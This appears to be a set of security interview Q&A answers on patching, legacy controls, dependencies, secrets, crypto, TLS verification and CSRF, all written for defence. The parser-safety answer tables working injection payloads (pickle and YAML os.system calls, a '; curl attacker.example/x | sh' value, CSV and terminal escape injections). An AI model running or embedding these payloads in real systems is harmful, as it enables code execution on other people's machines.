| Exploited | in CISA KEV, or EPSS ≥ 0.1 | 46 |
| No compensating control | no WAF rule, no EDR block, no segmentation | 17 |
Seventeen is a quarter's work. The other 1,383 aren't ignored: they're scheduled, and the ones that fall off the end get a written deferral.
The four inputs, in order
1. Exploitation in the wild. CISA's KEV catalog is the strongest single signal: it means someone has already done the work. EPSS, FIRST's 0–1 probability of exploitation in the next 30 days, is the tiebreaker for everything not in KEV. CVSS base score is a distant third. It measures severity, not likelihood, and a 9.8 in an unreachable service loses to a 6.5 on the VPN concentrator.
2. Exposure. Internet-facing, or reachable from a workstation a phished user controls. An internal-only service behind segmentation is a different risk class even at identical CVSS.
3. Business criticality and blast radius. What stops if this host is encrypted or taken over? Domain controllers, hypervisors, backup servers and OT gateways outrank build agents.
4. Compensating controls. If the WAF already blocks the exploit path, or the vulnerable feature is disabled, or EDR blocks the known payload, the patch drops a tier, but only if someone has tested that the control fires. "We have a WAF" is not a compensating control. A rule that returns 403 on the exploit's request shape is.
Tiers I'd commit to
| Tier | Definition | Target |
|---|---|---|
| 0 | KEV + internet-facing + no compensating control | 72 hours, emergency change |
| 1 | KEV or EPSS ≥ 0.1, reachable | 14 days |
| 2 | Reachable, not exploited | 90 days, normal cycle |
| 3 | Not reachable, no known exploit | next rebuild or annual cycle |
The deferral is the deliverable
This is the part candidates skip. A deferral isn't silence: it's a record with a name on it:
Finding: CVE-2024-XXXX on billing-app-03 (internal, CVSS 8.1)
Decision: defer to Q3
Owner: <name>, platform lead
Compensating ctrl: WAF rule 4471, verified 2025-04-02
Reopen trigger: KEV listing, EPSS > 0.1, or app becomes internet-facing
Review date: 2025-07-01
That record does three things. It makes the residual risk visible to whoever owns the system. It gives me a tripwire that reopens the decision automatically instead of relying on someone remembering. And it means that when the incident happens, I'm not explaining why nobody knew.
Failure modes I'd watch
- KEV-only tunnel vision. KEV is a floor, not a ceiling. It lags disclosure and says nothing about internal lateral-movement paths.
- EPSS treated as impact. It's a probability. A 0.3 on a domain controller is not a 0.3 on a lab box.
- Untested compensating controls. I've seen "mitigated by segmentation" written next to a host sitting in the same VLAN as everything else.
- The patch that breaks production. Emergency-patching a kernel on a database cluster without a rollback plan trades one outage for another. Tier 0 still goes through a change window with a tested rollback.
- Orphaned assets. If nobody owns the system, nobody patches it. The inventory gap is the real finding.
How I'd say it out loud
To the CISO: "Here's what we're patching, here's what we're not, here's the residual risk in business terms, and here's the trigger that changes the answer." Not "we're doing our best."
Curated: · Written: · Reviewed: —
Q&A-25How quickly must you patch?
The answer in 90 seconds
Patch on the attacker's clock, not the calendar's. For anything reachable from the internet with an unauthenticated remote code execution path, the target is hours to a few days, and often the patch arrives after exploitation has already started, because the bug was used as a zero-day. For an internal service behind authentication and network segmentation, the target is the next scheduled cycle: weeks. The number you publish should be the one you can prove you hit, measured per asset class, not the one that looks defensible in a policy document.
Before committing to a number I'd want three things: an inventory that says which assets are internet-facing, a feed that tells me which vulnerabilities are actually being exploited, and a compensating control I can apply between disclosure and patch.
Why the window differs
It's attacker economics. Weaponising a bug costs work; the payoff scales with how many hosts you reach and how little you need to know about them. An unauthenticated RCE in an edge appliance is the best case for an attacker: the vulnerable population is enumerable from Shodan or Censys before your change ticket is approved, and scanning is automated. Log4Shell (CVE-2021-44228, December 2021) drew exploitation attempts within hours of the advisory. ProxyLogon (CVE-2021-26855) was exploited before Microsoft shipped a patch. Citrix Bleed (CVE-2023-4966) was patched on 10 October 2023 and in ransomware operators' hands within days.
A library that needs an authenticated request path and a specific configuration is the opposite: the exploit is bespoke, the population is small, and months can pass before it's worth anyone's time. CISA's KEV catalog and Binding Operational Directive 22-01 encode exactly this split: two weeks to remediate CVEs published before 2021, six months for 2021 and later.
What to commit to
Targets below are illustrative policy, not measured industry medians; the exploitation column is what the named incidents above and KEV reporting show.
| Asset class | Typical exploitation | Target | Control while patching |
|---|---|---|---|
| Internet-facing appliance, unauth RCE | hours–days, often as zero-day | 72 h | WAF virtual patch, restrict management interface |
| Internet-facing app, auth required | days–weeks | 7 days | feature flag off, rate limit |
| Internal service, auth + segmentation | weeks–months | 30 days | network ACL |
| Build-time dependency, no runtime exposure | months | next release train | SBOM tracking |
# patch-sla.yaml — evaluated nightly against the asset inventory
sla:
- match: {exposure: internet, auth: none, cvss: ">=9.0"}
target_hours: 72
escalate_to: oncall-security
- match: {exposure: internet}
target_hours: 168
- match: {exposure: internal}
target_days: 30
The arithmetic is the argument. If 40,000 instances are exposed and mass scanning reaches all of them within 24 hours, a 30-day SLA leaves 29 days in which every unpatched host is a known, indexed target. Cutting the SLA from 30 days to 3 removes about 90% of that exposure.
Failure modes, and how you'd catch them
A uniform 30-day policy gets met while an internet-facing appliance is exploited on day 9: comfortably compliant, and breached. Catch it by matching KEV entries against the inventory nightly and alerting when an exposed asset appears, rather than reporting on ticket closure.
The opposite failure is the emergency change that takes production down; the patch becomes the outage. Watch change failure rate on emergency changes separately from scheduled ones, and canary the rollout.
Third: the patch gap. You deploy the vendor's fix, the fix is incomplete, and the CVE stays exploitable. Re-scan after patching and verify version and configuration, not just that the package manager reported success.
When not to move fast
Don't run an emergency change for a non-exploited internal service. If the change risk exceeds the exploit risk, batch it into the next window. And don't let a WAF rule become the permanent answer: virtual patches drift out of sync with the code they're protecting, and nobody notices until the rule is removed.
The number you publish should be the p90 you can demonstrate, not the p50 you hope for.
Curated: · Written: · Reviewed:
Q&A-46A twenty-year-old system cannot be patched or replaced this year. What do you do?
First 90 seconds. I'd clarify three things before proposing anything: what data the system holds and who owns it, whether "cannot be replaced this year" means a funded replacement in the next budget cycle or no plan at all, and whether it's internet-facing or internal-only. Those change the answer more than the age does.
Assume: internal-only, holds PII, runs an OS out of vendor support (say Windows Server 2003 R2, out of support since 14 July 2015), business-critical, replacement funded for FY27. Then I don't accept the risk: I compensate for it, time-box it, and make the compensation auditable. The shape is: shrink the boundary, shrink the credentials, widen the telemetry, put a date on it.
Named controls, not categories.
| Layer | Control | Concrete implementation | Evidence it's live |
|---|---|---|---|
| Network | Deny-by-default segmentation | Dedicated VLAN; firewall rules with explicit source/dest/port allowlist (e.g. 3 app servers on 443, 1 jump host on 22) | Firewall policy export + weekly rule-hit report |
| Egress | No direct internet | Force through authenticated forward proxy (Squid, Zscaler) with domain allowlist; block all other egress at the firewall | Proxy logs showing 100% of egress |
| Access | No direct user access | Admin only via bastion with MFA and session recording (Teleport, CyberArk PSM); SSH key-only, password auth off | Bastion session recordings, auth logs |
| Credentials | Vaulted, rotated | Service accounts in HashiCorp Vault or CyberArk, 90-day rotation, no shared accounts | Vault rotation audit log |
| Host | FIM + HIDS | Wazuh or OSSEC on the host; file integrity monitoring on /etc, /bin, registry Run keys | FIM alerts in SIEM |
| Virtual patch | IPS/WAF signatures | Suricata or Zeek on a SPAN port; WAF (ModSecurity, F5 ASM) with CVE signatures for the unpatchable app | Signature version + block counts |
| Detection | Centralised logs | Ship auth, process-creation and network flow to Splunk or Sentinel; alert on new listening ports, new outbound destinations, auth failures | Alert rule IDs, on-call runbook |
| Scanning | Authenticated vuln scan | Tenable or Qualys weekly; track new CVEs against the frozen version | Scan report trend |
| Change | Config freeze | Any change through CAB; drift detection with osquery or InSpec | Drift alerts |
Map these to NIST SP 800-53: SC-7 (boundary protection), AC-17 (remote access), AC-2 (account management), AU-6 (audit review), SI-4 (system monitoring), CM-3 (configuration change control), RA-5 (vulnerability scanning). If PCI applies, the compensating control worksheet (PCI DSS v4.0, Appendix B) is the artefact that makes this formal rather than verbal.
Failure modes.
- "Accepted risk" with no controls. The system sits on the flat network, nobody owns it, and it becomes the pivot. Detection: it appears in a scan as an unmanaged host with no EDR and no log source in the SIEM.
- Controls that exist on paper. The firewall rule was added in 2019 and nobody has looked since. Detection: rule-hit counters at zero, or the allowlist has grown to
0.0.0.0/0. - Monitoring nobody reads. Logs ship but no alert rule fires. Detection: inject a known event (failed SSH from an unexpected IP) and see whether it pages.
- Credential sprawl. The service account password is in a wiki. Detection: vault coverage report. What fraction of accounts are vaulted and rotating.
- Silent drift. Someone opens a port for a "temporary" integration. Detection: config drift alert against the baseline.
What would change the answer. If it's internet-facing and unpatchable, I wouldn't compensate: I'd take it offline or front it with a WAF in blocking mode and accept the availability hit. If the data is low-sensitivity and the system is genuinely isolated, the control set shrinks. If there's no funded replacement, the risk isn't compensated, it's permanent, and that goes to the risk committee with a name against it.
Curated: · Written: · Reviewed:
Q&A-44A dependency has no known vulnerabilities. Is it safe to add?
No: "no known vulnerabilities" only tells you nobody has reported one yet.
An advisory database is a record of what someone found, reported and got assigned a CVE. It says nothing about who controls the package today, what runs when you install it, or what happens the next time the maintainer pushes a release. So the question I actually answer is: if this package turns hostile tomorrow, what bounds the damage?
Two documented cases set the shape. In November 2018 the event-stream npm package was handed by its maintainer to a stranger, who added a flatmap-stream dependency carrying a payload aimed at the Copay wallet. No advisory existed at handover. In March 2024 the xz-utils backdoor (CVE-2024-3094) shipped in 5.6.0 and 5.6.1 after a contributor spent roughly two years earning co-maintainer trust. Both packages were, at the moment you would have adopted them, vulnerability-free.
So I split the decision into three questions.
1. Can I pin what I actually run? A lockfile with integrity hashes means a compromised release does not arrive on its own. npm ci installs exactly what package-lock.json records and fails if it disagrees with package.json; each entry carries an integrity sha512 of the tarball. Go's go.sum plus the checksum database does the same job. In Python, pip install --require-hashes -r requirements.txt. If you cannot pin, you are taking whatever the registry serves today.
2. Does it execute at install time? A postinstall script runs with your CI's environment: tokens, cloud credentials, network egress. npm ci --ignore-scripts skips lifecycle scripts; if the package genuinely needs them, that is a reason to look harder, not to skip the flag. Build-time execution is the highest-leverage thing to remove.
3. Who maintains it, and is that changing? Release cadence, maintainer count, recent ownership transfer, and whether the repo link in the registry metadata matches source you can read. A package with one maintainer who took over two months ago and has shipped one release in a year is a different bet from one with fourteen maintainers and 22 releases.
Hypothetical comparison, identical advisory status:
| Signal | Package A | Package B |
|---|---|---|
| known advisories | 0 | 0 |
| maintainers | 1 | 14 |
| ownership changed | 2 months ago | never |
| releases in last 12 months | 1 | 22 |
| install-time scripts | postinstall | none |
| provenance attestation | none | signed from CI |
I would take B without much debate and treat A as a decision that needs a named owner.
Where this goes wrong in practice: teams treat the scanner as the control. The scanner clears the package, the ticket closes, and nobody re-checks when the maintainer changes. Detection for the residual risk is egress monitoring in CI plus a diff of the lockfile on every dependency PR: a new transitive dependency appearing inside a patch bump is the signal, and it is visible in review if the lockfile is committed.
If I cannot pin, cannot skip install scripts, and the package is a single-maintainer transitive dependency I cannot replace, I would vendor it or drop the feature. "No advisories" is a starting condition, not a verdict.
Curated: · Written: · Reviewed:
Q&A-42Static analysis reports 900 findings on a codebase. What now?
Assumptions: one tool, 900 findings, no prior triage, CI already runs, roughly 20 engineers. If the tool ships autofixes, run those first: that changes the arithmetic.
Don't start fixing. 900 findings is a triage problem, not a bug list. The first hour decides whether the signal survives contact with the team.
1. Cut the paths that shouldn't be scanned. Generated code, vendored dependencies, migrations, test fixtures. Configure exclusions and re-run. Expect this to remove a third or more of the count and almost none of the real defects.
2. Deduplicate. The same rule firing on the same location from two configs, or the same pattern in a copied file, inflates the number. Collapse on (rule, file, line).
3. Group by rule, not by finding. Sort the remainder by rule ID. A handful of rules usually produce most of the volume. This is where you learn which rules are precise in your codebase and which are noise.
4. Assign ownership. Map each finding's path to a CODEOWNERS entry. Findings with no owner are the ones that never get fixed; either assign them or suppress them deliberately.
5. Split the gate. Rules that are high-precision in your codebase fail the build. Everything else runs as a periodic report that owners triage. A gate that fires on all 900 gets disabled or bypassed within weeks: that is the normal outcome, not a hypothetical.
6. Make suppression explicit. Inline suppression with a written reason and an expiry date, counted and reviewed. Silent suppression is how a ruleset rots.
Worked example (hypothetical numbers, one repo):
| Bucket | Findings | Action |
|---|---|---|
| Generated / vendored / test paths | 280 | exclude in config |
| Duplicate (same rule + location) | 40 | dedup |
| High-precision rules | 90 | fail build, fix now |
| Low-precision rules | 490 | weekly report, owner triage |
The 90 gating findings come from three rules (string-concatenated SQL, hardcoded credentials, unsafe deserialization) each of which is almost always a real defect. The 490 are spread across roughly 60 rules, many of which fire on idioms your team has already decided are acceptable.
What to measure: the action rate. The share of findings that end up fixed or suppressed with a written reason. If it is low, the ruleset is too broad, not the developers too lazy. Cut rules until the rate is high, then widen.
Failure modes: a gate on everything gets bypassed (detect via suppression count and CI skip rate); findings with no owner sit forever (detect via age of open findings); a rule that is precise in one service is noise in another (detect by per-directory action rate).
A gate developers disable protects nothing.
Curated: · Written: · Reviewed:
Q&A-43How do you keep credentials out of source control?
The control is that the credential never enters the repository in the first place. Scanning is the backstop for when that fails, not the mechanism.
Keep the secret out of the tree. Application code reads the credential at runtime from a secret manager (Vault, AWS Secrets Manager, SSM Parameter Store) or from an environment variable the platform injects. The repo holds a reference, not the value:
# config.py — checked in, contains no secret
import os
DB_PASSWORD = os.environ["DB_PASSWORD"] # injected by the runtime or CI
Local .env files that hold real values go in .gitignore, and the repo ships a .env.example with placeholder names only.
Guard the commit. A pre-commit hook running gitleaks or trufflehog catches the accidental paste before it leaves the machine. It is a speed bump, not a control: git commit --no-verify skips it, and a developer who never installed hooks gets no check at all. So the same scan has to run server-side.
Guard the push. A pre-receive hook, or GitHub's push protection (secret scanning), rejects the push at the server. This is the layer that holds, because the developer cannot skip it. Be precise about what it buys: the credential has reached the server's process, but it never lands in the repository history, so no clone or fork ever contains it. That distinction is the whole point.
Detect what is already there. Run trufflehog or gitleaks over full history in CI, not just the diff. Anything found is treated as compromised.
| Layer | Runs on | Skippable by | If it fires late |
|---|---|---|---|
| pre-commit hook | dev machine | --no-verify, missing install | secret still local |
| pre-receive hook / push protection | server | repo admin disabling it | secret hit server, not history |
| CI history scan | CI | — | already in history → rotate |
Rotate, don't just delete. Once a credential has been pushed to a shared remote, rewriting history does not un-expose it: clones, forks, CI caches and logs may already hold it. Rotate the credential first, then clean history. Deleting the commit and force-pushing is cleanup, not remediation.
The failure mode worth naming: a post-push scan that fires 40 minutes later is already too late. CI and forks have cloned by then, and rotation is mandatory regardless of the rewrite. The order of controls is what prevents that: runtime injection first, server-side push rejection second, detection and rotation as the backstop.
Curated: · Written: · Reviewed:
Q&A-67How often should a control be tested?
Cadence follows rate of change and blast radius, not the calendar. My default: continuous automated checks where the control is machine-verifiable, quarterly for high-risk manual controls, and at least annually for the rest. With any regulated baseline setting a floor you cannot go below.
The reason is drift. A control stops working through configuration change, dependency upgrade, or estate growth, and nothing announces it. The interval between tests is the interval in which the control may already be dead, so the cadence should be short relative to how fast the thing it protects changes.
Concrete floors I would cite:
| Control | Cadence | Source |
|---|---|---|
| Automated config / posture check | continuous (daily or per-deploy) | NIST SP 800-53 Rev 5 CA-7 |
| Internal vulnerability scan | every 3 months | PCI DSS v4.0 11.3.1 |
| External vulnerability scan (ASV) | every 3 months | PCI DSS v4.0 11.3.2 |
| Wireless access point scan | every 3 months | PCI DSS v4.0 11.2 |
| Penetration test | at least annually, plus after significant change | PCI DSS v4.0 11.4 |
| Audit log review | daily | PCI DSS v4.0 10.4.1.1 |
| User access review | every 6 months | PCI DSS v4.0 7.2.4 |
| FedRAMP ConMon vulnerability scan | monthly | FedRAMP continuous monitoring |
Where no baseline applies, I set the cadence from deploy frequency: a control in a service that ships weekly gets tested at least weekly, or it is unverified for most of its life.
Failure modes I look for:
- Stale attestation. A control tested once at deployment and never again. The metric is the last-verified date per control; a date older than the cadence is a finding, not a pass.
- Testing the config, not the control. Confirming a firewall rule exists is not confirming traffic is blocked. Test with a probe that would fail if the control were off.
- Calendar cadence in a fast-changing estate. Annual testing of a control in a weekly-deploy service leaves it unverified for 51 weeks.
Worked example (illustrative): a TLS-inspection policy on a load balancer was verified at deployment. A firmware upgrade nine months later reset the cipher policy to a permissive default. The annual penetration test caught it; the estate had been unprotected for roughly three quarters with no alert. A daily automated check of the negotiated cipher suite would have caught it the same day.
So I would not call the cadence settled without evidence: report the last-verified date for each control, alert when it exceeds the cadence, and treat a control with no verification date as unverified rather than working.
Curated: · Written: · Reviewed:
Q&A-66How do you check that two controls are actually independent?
Core answer (first 90 seconds)
Two controls are independent only if no single failure removes both. Two names, two vendors, or two layers prove nothing. The check is a three-step procedure: enumerate each control's failure domains, intersect them, then fault-inject every non-empty intersection and watch whether the surviving control still denies.
Step 1: enumerate failure domains. For each control, list everything whose failure disables it: its input, config source, credential, network path, runtime, deploy pipeline, and the humans who operate it. A network ACL depends on the VPC, the security-group config, the ENI, and the Terraform apply that writes them. An app-level authz check depends on the session store, the policy file, and the same deploy pipeline.
Step 2: intersect. An empty intersection means independent by construction; stop there. A non-empty intersection is a shared element and a hypothesis to test.
Step 3: fault-inject the shared element. Remove it and confirm the other control still denies. This is the only step that produces evidence.
Worked example: WAF + application input validation on the same ALB
| Control | Failure domains | Shared element |
|---|---|---|
| AWS WAF web ACL on ALB | web ACL config, ALB, Terraform state | ALB, deploy pipeline |
| App input validation | request parser, policy file, deploy pipeline | deploy pipeline |
Shared: the ALB and the deploy pipeline. Injection 1: detach the web ACL (aws wafv2 disassociate-web-acl), then send a known SQLi payload. If the app still returns 400, they are independent for that failure. If it returns 200 or 500, the "two layers" was one. Injection 2: push a deploy that drops the validation middleware. If the WAF still blocks the payload, the WAF is a real second layer.
Trade-offs
Cross-layer is preferred not because layers are magic but because failure modes are more likely disjoint. Two same-layer controls are fine when their failure modes do not overlap: an allowlist validator and parameterized queries both live in the app, but one fails on a parser bug and the other on query construction, so a single bug rarely kills both. The deciding criterion is disjoint failure modes, not layer count. Cost matters: cross-layer controls (WAF, network segmentation) cost more to operate and add latency, so two same-layer controls with disjoint failure modes are often the right call.
Failure modes of the check itself
- Latent shared dependencies: both controls resolve through the same DNS, same KMS key, same clock. Walk the dependency graph; do not eyeball the architecture diagram.
- Fail-open on a shared dependency: if the IdP is down, does MFA fail closed or open? Test it, do not assume.
- Prod injection risk: run in staging with prod-like config, or a game day with a rehearsed rollback.
Two controls with one shared input are one control.
Curated: · Written: · Reviewed:
Q&A-77Your analysis script parses attacker-controlled log content. What could go wrong?
Assume two things: the script runs with the analyst's own credentials on the analyst's workstation, and every byte of the log is attacker-controlled. Under those assumptions the parser is a code-execution surface, not a data-processing step. The answer is to parse with a data-only reader, never with anything that evaluates, and to bound the input before touching it.
The failure classes, in the order they bite:
- Deserialization and eval.
pickle.loads,yaml.loadwith the default loader,eval,marshal, JavaObjectInputStream, .NETBinaryFormatterall execute attacker-chosen code. One log line is enough. - Shell interpolation. Any field passed into
shell=True,os.system, or a backtick string is a command. - Resource exhaustion. Unbounded
readline, catastrophic regex backtracking, decompression bombs. - Output-side injection. ANSI escapes when you print, CSV formula injection when you export, CRLF when you re-emit into another log.
| Sink | Attacker payload | Consequence |
|---|---|---|
pickle.loads(line) | cos\nsystem\n(S'id'\ntR. | code exec |
yaml.load(line) (default loader) | !!python/object/apply:os.system ['id'] | code exec |
subprocess.run(f"grep {field}", shell=True) | ; curl attacker.example/x | sh | code exec |
re.match(r'^(a+)+$', field) | 'a'*30 + '!' | CPU exhaustion |
f.readline() on a line with no \n | 4 GB of bytes | OOM |
print(line) to a terminal | \x1b]52;c;<base64> | clipboard hijack (OSC 52) |
| CSV export opened in Excel | =cmd|'/c calc'!A0 | exec on open |
The pickle payload is worth tracing, because it looks like noise. c pushes the global os.system; ( marks a tuple; S'id' pushes the string id; t builds the tuple; R calls the callable on it. So pickle.loads(b"cos\nsystem\n(S'id'\ntR.") runs os.system('id') in your process. The fix is not a safer loader: it is json.loads, which has no callable opcodes.
The regex case is arithmetic, not opinion. ^(a+)+$ against 'a'*30 + '!' explores on the order of 2^30 ≈ 10^9 backtracking paths before failing: seconds to minutes of CPU for a 31-byte field, and it grows exponentially with line length. Cap the field length and use a linear pattern, or run the match under a timeout.
Trade-offs. Isolating the parser (container, no network egress, read-only filesystem, dropped capabilities, seccomp) contains the blast radius but does not remove the bug, and it does not help two cases. First, resource exhaustion: a container with no cgroup memory limit still OOMs the host, so isolation alone is insufficient there. You need --memory and a per-record byte cap. Second, downstream trust: if a parsed field later becomes a filename (../../etc/cron.d/x) or a query fragment, isolating the parser does nothing, because the injection fires in the next stage. Rewriting to a data-only parser removes the whole class; isolation is the belt for the parsers you cannot rewrite yet.
Failure modes and detection. ReDoS shows up as a p99 parse-latency spike on long lines. OOM shows as RSS growth against a fixed input size. Code execution is the hard one: you detect it by absence: run the parser with no network egress and alert on any egress attempt, and diff the process tree against the expected one. Log injection is caught by asserting parsed fields contain no \r or \n before re-emitting.
Curated: · Written: · Reviewed:
Q&A-54Why does nonce reuse matter in GCM?
Assume AES-GCM with the same key and a repeated nonce. Reusing a nonce is catastrophic: it breaks confidentiality and, worse, lets an attacker recover the GHASH authentication key H and forge tags. GCM's security proof assumes nonce uniqueness per key; that assumption is not optional.
Mechanism. GCM encryption is CTR mode. For a 96-bit nonce, J0 = nonce || 0^31 || 1, and the keystream blocks are E_K(J0), E_K(J0+1), ... . Same nonce and key means same J0 and same keystream. For two messages:
C1 = P1 XOR KS, C2 = P2 XOR KS C1 XOR C2 = P1 XOR P2.
That does not immediately hand over P1 and P2, but it strips the encryption. Any known or guessable plaintext, or any structure in one message, recovers the other. If the same nonce is reused across many messages, the XOR of any pair is exposed.
Authentication is worse. GCM's tag is
T = E_K(J0) XOR GHASH_H(A, C), where H = E_K(0^128).
With the same nonce, E_K(J0) is the same for every message. Two tags give
T1 XOR T2 = GHASH_H(A1, C1) XOR GHASH_H(A2, C2).
GHASH is a polynomial in H over GF(2^128). The attacker knows A and C (associated data and ciphertext), so this is an equation in H. Enough equations, or chosen messages, solve for H. Once H is known, the attacker computes E_K(J0) from any valid tag and then forges a valid tag for any ciphertext under that nonce. That is full forgery, not just decryption.
What the attacker gets:
| Reuse pattern | Confidentiality | Authenticity |
|---|---|---|
| unique nonces | intact | intact |
| one reuse | XOR of the two plaintexts | tag equations start leaking H |
| systematic reuse | plaintext relationships exposed | H recovered, tags forgeable |
Failure modes. The usual cause is not a broken cipher; it is a nonce that repeats after state is duplicated or reset. A process restored from a snapshot can resume a counter from the snapshot's value. A VM fork or container clone can give two writers the same counter. A random 96-bit nonce is safe only up to a message limit: NIST SP 800-38D caps random IV use at 2^32 invocations per key, because collision probability rises with the birthday bound. A counter-based nonce must be persisted and advanced atomically across restarts, or it will repeat. The nonce is per key, not global.
If nonce reuse is a real possibility, GCM is the wrong mode. AES-GCM-SIV is designed to tolerate nonce reuse, though it has its own limits. For GCM, test the restore, fork, and restart paths for nonce continuity, not just the steady-state path.
Curated: · Written: · Reviewed:
Q&A-55A client disables certificate verification to make an integration work. What is the consequence?
The consequence: the connection stays encrypted but stops being authenticated. The client completes a TLS handshake with whoever answers (the real server, a proxy, or an attacker on the path) and treats all of them identically. You keep confidentiality against a passive eavesdropper and lose it against anyone who can answer the connection, which is the cheaper attack to mount.
Assumptions worth stating: the client reaches the server over a network you don't fully control (public internet, corporate proxy, shared Wi-Fi), and the certificate would otherwise be valid. If both ends are on trusted loopback, the exposure is small: that is rarely the case for an integration.
Mechanism. A normal handshake does four checks: build the chain to a trusted root, match the hostname against the certificate's SAN, check the validity window, and optionally check revocation. Disabling verification skips the first two. The key exchange still runs, so the bytes are encrypted, but the client has no evidence about who holds the other end of the key. An attacker on the path answers the TCP connection, presents its own self-signed certificate, the client accepts it, and the attacker opens a second TLS connection to the real server and relays. Both legs are encrypted; the attacker reads plaintext in the middle.
| Encrypted on the wire | Peer authenticated | Interception detectable | |
|---|---|---|---|
| verification on | yes | yes | yes |
| verification off | yes | no | no |
What it looks like in code. The flag has a different name in every stack:
| Stack | Disabling setting |
|---|---|
Python requests | requests.get(url, verify=False) |
| Python stdlib | ssl._create_unverified_context() |
| curl | -k / --insecure |
| Node | NODE_TLS_REJECT_UNAUTHORIZED=0, or rejectUnauthorized: false |
| Go | tls.Config{InsecureSkipVerify: true} |
| Java | a TrustManager whose checkServerTrusted returns without throwing |
import requests
# verify defaults to True; False sets CERT_NONE and check_hostname=False
r = requests.get("https://internal-api.example.com/health", verify=False)
With verify=False, requests hands urllib3 cert_reqs=CERT_NONE and check_hostname=False, so the handshake completes no matter which certificate is presented. The request succeeds against the real server and against an attacker's server; the code cannot tell them apart.
Failure mode: it is silent. Nothing throws, and the integration "works", which is why these flags survive. requests does emit an InsecureRequestWarning, but it is routinely silenced with urllib3.disable_warnings(InsecureRequestWarning), and the other stacks above emit nothing at all. A flag added during a debugging session can ship and run for years without a symptom, because with no attacker present the behaviour is identical to a verified connection. The only reliable detection is static: grep for the settings above and fail CI on them, and keep the trust store correct so nobody needs the flag.
The fix is on the trust side, not the client side. Add the internal CA to the client's trust store (or point REQUESTS_CA_BUNDLE / SSL_CERT_FILE at it), correct the hostname so it matches the SAN, and if the integration is high-value, pin the certificate. Disabling verification is not a workaround for a trust problem; it removes the thing that was failing.
Curated: · Written: · Reviewed:
Q&A-56How do you rotate a signing key without breaking verification?
What a strong candidate says first
The rotation is safe if you publish the new key before you sign with it, and remove the old key only after the last token it signed has expired. The number that decides the overlap is max(token TTL, verifier JWKS cache TTL) plus a clock-skew allowance.
With RS256 JWTs and a JWKS endpoint, that is four steps:
- Generate the new key pair, add its public key to the JWKS under a new
kid. Both keys are published; only the old one signs. - Wait at least one JWKS cache TTL so every verifier has fetched the new key.
- Switch signing to the new
kid. - Wait at least one token TTL so every token signed with the old key has expired, then remove the old key from the JWKS.
Steps 2 and 4 are the ones people skip.
Why it works
A verifier doesn't hold a key; it holds a kid → key map fetched from the JWKS. The token header names its kid and the verifier looks it up. Two things must hold: the key is in the JWKS, and the verifier's cached copy is fresh enough to contain it. Rotation is therefore a cache-coherence problem, not a crypto one.
Artefacts
JWKS during the overlap:
{
"keys": [
{ "kty": "RSA", "use": "sig", "alg": "RS256", "kid": "2024-06", "n": "...", "e": "AQAB" },
{ "kty": "RSA", "use": "sig", "alg": "RS256", "kid": "2024-09", "n": "...", "e": "AQAB" }
]
}
Arithmetic (hypothetical but typical): access-token TTL 15 min, refresh token 30 days, JWKS cache TTL 15 min, clock skew 5 min.
- Overlap before cutover ≥ 15 min (cache) + 5 min (skew) = 20 min; use 1 h.
- Overlap after cutover ≥ 30 days (longest-lived token) + 5 min; use 31 days.
If refresh tokens are opaque rather than JWTs, the tail is 15 min, not 30 days: check which tokens your JWKS actually verifies before sizing step 4.
| Phase | JWKS contains | Signs with | Failure if skipped |
|---|---|---|---|
| 1 publish | old + new | old | — |
| 2 cutover | old + new | new | verifiers with a stale cache reject new tokens |
| 3 retire | new | new | tokens signed with the old key fail before expiry |
Alternatives and when to pick them
- Dual-signing (emit two tokens, one per key) removes the cache-freshness dependency but doubles token size and forces clients to choose which to send. Worth it only when you cannot control verifier refresh behaviour.
- Immediate revocation when a key is compromised: you cannot wait out the overlap. Publish the new key, cut over, and accept that tokens signed with the compromised key fail, or keep a
kiddenylist so verifiers reject it explicitly rather than by absence. - HS256 (shared secret) means every verifier holds the signing key, so rotation is a coordinated redeploy of all of them. That is the reason to use asymmetric signing once there is more than one verifier.
Failure modes and detection
- Verifier does not refetch on an unknown
kid: new tokens 401 until its cache expires. Detect with a 401 rate broken down by thekidin the token header, watched right after cutover. - Old key removed before the longest token expired: 401s on tokens issued before cutover. Detect by correlating 401s with token
iat. kidreused for different key material: the verifier serves the cached old key for the newkidand signature checks fail. Detect by signature-verification errors that do not clear when the cache expires.
Cadence
Scheduled rotation (say every 90 days) bounds the blast radius of an undetected key leak; on-demand rotation covers compromise and staff departures. Automate the four steps as a job with the two overlap windows as parameters, and alert on the 401-by-kid metric for the duration of the window.
Curated: · Written: · Reviewed:
Q&A-59What actually stops CSRF today?
What stops it
Three controls, layered, in the order they cover ground:
1. SameSite=Lax on the session cookie. Chrome 80 (February 2020) made Lax the default for cookies that omit the attribute; Firefox and Edge followed. Lax attaches the cookie to top-level GET navigations but withholds it from cross-site POSTs and from <img>, <iframe> and fetch subrequests. That kills the classic <form action="https://bank.example/transfer" method="POST"> attack outright: the request arrives with no session cookie.
2. An anti-forgery token wherever a request may legitimately arrive cross-site or from a sibling subdomain, and as defence in depth everywhere else. Synchronizer token: a random value stored in the server-side session, echoed in a hidden field or X-CSRF-Token, compared with a constant-time equality check. This is the control that still holds when SameSite does not.
3. A server-side origin gate. Reject state-changing requests whose Origin header does not match, or whose Sec-Fetch-Site is cross-site. Origin is sent by Chrome and Firefox on every POST, form posts included. Sec-Fetch-Site ships in Chrome 76+, Firefox 90+, Safari 16.4+.
Underneath all three: no state-changing GET. A GET that mutates is reachable from an <img> tag or a link, and SameSite=Lax permits the top-level navigation case.
What each control actually covers
| Request (state-changing unless noted) | SameSite=Lax | Token | Origin / Sec-Fetch |
|---|---|---|---|
| Cross-site form POST | cookie withheld | — | rejected |
| Cross-site top-level GET nav | cookie sent | token absent → rejected | rejected |
Cross-site <img> / fetch | cookie withheld | — | rejected |
POST from evil.example.com (same site) | cookie sent | token absent → rejected | Origin mismatch → rejected |
| Same-origin POST | cookie sent | token present | Origin matches |
The gate, in Python 3.12, framework-agnostic:
SAFE = {"GET", "HEAD", "OPTIONS"}
def csrf_ok(request) -> bool:
if request.method in SAFE:
return True # safe methods must not mutate
if request.headers.get("Sec-Fetch-Site") == "cross-site":
return False
origin = request.headers.get("Origin")
if origin is not None and origin not in ALLOWED_ORIGINS:
return False
sent = request.headers.get("X-CSRF-Token", "")
return hmac.compare_digest(sent, request.session.get("csrf", ""))
Where it still fails
- SameSite is site-scoped, not origin-scoped.
